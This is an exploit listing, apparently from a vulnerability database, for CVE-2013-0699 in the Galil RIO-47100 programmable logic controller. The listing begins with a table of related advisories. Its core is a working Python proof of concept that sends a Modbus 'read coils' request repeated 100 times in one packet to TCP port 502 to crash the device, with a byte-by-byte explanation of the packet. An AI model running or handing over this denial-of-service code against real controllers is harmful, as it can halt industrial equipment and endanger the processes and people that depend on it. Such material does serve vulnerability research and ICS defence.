| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Galil-RIO Modbus - Denial of Service Vulnerability | 27 Jul 201300:00 | – | zdt | |
| Galil-RIO Modbus - Denial of Service | 3 Aug 201300:00 | – | zdt | |
| CVE-2013-0699 | 1 May 201310:00 | – | cve | |
| CVE-2013-0699 | 1 May 201310:00 | – | cvelist | |
| Galil-RIO Modbus - Denial of Service | 27 Jul 201300:00 | – | exploitpack | |
| Galil RIO-47100 Improper Input Validation | 28 Jan 201307:00 | – | ics | |
| CVE-2013-0699 | 1 May 201312:00 | – | nvd | |
| Galil-RIO Modbus Denial Of Service | 27 Jul 201300:00 | – | packetstorm | |
| Design/Logic Flaw | 1 May 201312:00 | – | prion | |
| CVE-2013-0699 | 22 May 202506:12 | – | redhatcve |
# Exploit Title: Galil RIO-47100
# Date: 05-01-2013
# Exploit Author: Sapling
# Vendor Homepage: www.galilmc.com
# Version: Rio Firmware Prior to 1.1d
# CVE : CVE-2013-0699
# ICSA: ICSA-13-116-01
/* There are many different ways to crash this PLC but most of them are
centralized around the repeating a request in a single packet format. So
read a coil repeated in a single packet.
The Rio-47100 by Galil is a small PLC with an internal RISC based
processor. It communicates using ModBus, or Telnet over Ethernet as well as
having a web server built in that allows a user to issue commands.
I take no responsibility for the use of this code and using this code you
agree to take responsibility for your own actions. */
# Python Proof of concept
# A quick run down of the last half start at \x06
# \x06 length
# \x01 unit id
# \x01 function code (read coils)
# \x00\x00 start address
# \x00\x01 coil quantity
# Repeat the request in the packet 100 times
# Unfortunateley I can't remember the minimum number of times you have to
repeat to cause the crash
import sys
import socket
new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
Address
new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation